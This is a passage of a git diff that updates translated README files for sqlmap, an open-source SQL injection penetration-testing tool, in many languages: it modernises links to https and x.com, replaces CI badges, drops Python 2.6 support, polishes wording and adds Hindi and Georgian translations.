-برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
+برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
لینکها
----
-* خانه: http://sqlmap.org
-* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
-* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
+* خانه: https://sqlmap.org
+* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* تویتر: [@sqlmap](https://twitter.com/sqlmap)
-* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
-* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+* توییتر: [@sqlmap](https://x.com/sqlmap)
+* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
index 8c87faf5464..4d867898b97 100644
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](http://www.python.org/download/)
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
Utilisation
----
@@ -38,12 +38,12 @@ Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnali
Liens
----
-* Page d'acceuil: http://sqlmap.org
+* Page d'acceuil: https://sqlmap.org
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index f06e01c9c41..0d5e0446570 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
@@ -20,7 +20,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
+Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
Χρήση
----
@@ -39,12 +39,12 @@
Σύνδεσμοι
----
-* Αρχική σελίδα: http://sqlmap.org
+* Αρχική σελίδα: https://sqlmap.org
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md
index 5c6a2da4bd4..45d5eaad1f9 100644
--- a/doc/translations/README-hr-HR.md
+++ b/doc/translations/README-hr-HR.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korištenje
----
@@ -39,12 +39,12 @@ Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te op
Poveznice
----
-* Početna stranica: http://sqlmap.org
+* Početna stranica: https://sqlmap.org
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md
index bd2ffd0926c..f82bf71d2ec 100644
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -1,51 +1,53 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
+sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
+
+sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar
----

-Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
+Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
Instalasi
----
-Anda dapat mengunduh tarball versi terbaru [di sini]
-(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
+Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
-Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
+Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
+sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
Penggunaan
----
-Untuk mendapatkan daftar opsi dasar gunakan:
+Untuk mendapatkan daftar opsi dasar gunakan perintah:
python sqlmap.py -h
-Untuk mendapatkan daftar opsi lanjut gunakan:
+Untuk mendapatkan daftar opsi lanjutan gunakan perintah:
python sqlmap.py -hh
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
-Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Tautan
----
-* Situs: http://sqlmap.org
+* Situs: https://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
-* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
-* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
+* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md
new file mode 100644
index 00000000000..b311f81afe3
--- /dev/null
+++ b/doc/translations/README-in-HI.md
@@ -0,0 +1,50 @@
+# sqlmap 
+
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+
+sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
+
+चित्रसंवाद
+----
+
+
+
+आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं।
+
+स्थापना
+----
+
+आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं।
+
+प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
+
+उपयोग
+----
+
+मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए:
+
+ python sqlmap.py -h
+
+सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए:
+
+ python sqlmap.py -hh
+
+आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है।
+
+लिंक
+----
+
+* मुखपृष्ठ: https://sqlmap.org
+* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues
+* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki
+* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* ट्विटर: [@sqlmap](https://x.com/sqlmap)
+* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+*
diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md
index 17c8b59aa15..6b074141b41 100644
--- a/doc/translations/README-it-IT.md
+++ b/doc/translations/README-it-IT.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
+sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
Utilizzo
----
@@ -39,12 +39,12 @@ Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità
Link
----
-* Sito: http://sqlmap.org
+* Sito: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md
index 420697539d4..d43e3f563e1 100644
--- a/doc/translations/README-ja-JP.md
+++ b/doc/translations/README-ja-JP.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
@@ -21,31 +21,31 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
-使用法
+使用方法
----
-基本的なオプションとスイッチの使用法をリストするには:
+基本的なオプションとスイッチの使用方法をリストで取得するには:
python sqlmap.py -h
-全てのオプションとスイッチの使用法をリストするには:
+全てのオプションとスイッチの使用方法をリストで取得するには:
python sqlmap.py -hh
実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
-sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。
+sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。
リンク
----
-* ホームページ: http://sqlmap.org
+* ホームページ: https://sqlmap.org
* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md
new file mode 100644
index 00000000000..12b59b31ea4
--- /dev/null
+++ b/doc/translations/README-ka-GE.md
@@ -0,0 +1,49 @@
+# sqlmap 
+
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+
+sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის.
+
+ეკრანის ანაბეჭდები
+----
+
+
+
+შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია.
+
+ინსტალაცია
+----
+
+თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით.
+
+ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან.
+
+გამოყენება
+----
+
+ძირითადი ვარიანტებისა და პარამეტრების ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება:
+
+ python sqlmap.py -h
+
+ვარიანტებისა და პარამეტრების სრული ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება:
+
+ python sqlmap.py -hh
+
+გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+ბმულები
+----
+
+* საწყისი გვერდი: https://sqlmap.org
+* ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues
+* მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki
+* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md
index 7d08900b30a..2542209833e 100644
--- a/doc/translations/README-ko-KR.md
+++ b/doc/translations/README-ko-KR.md
@@ -1,6 +1,6 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
@@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
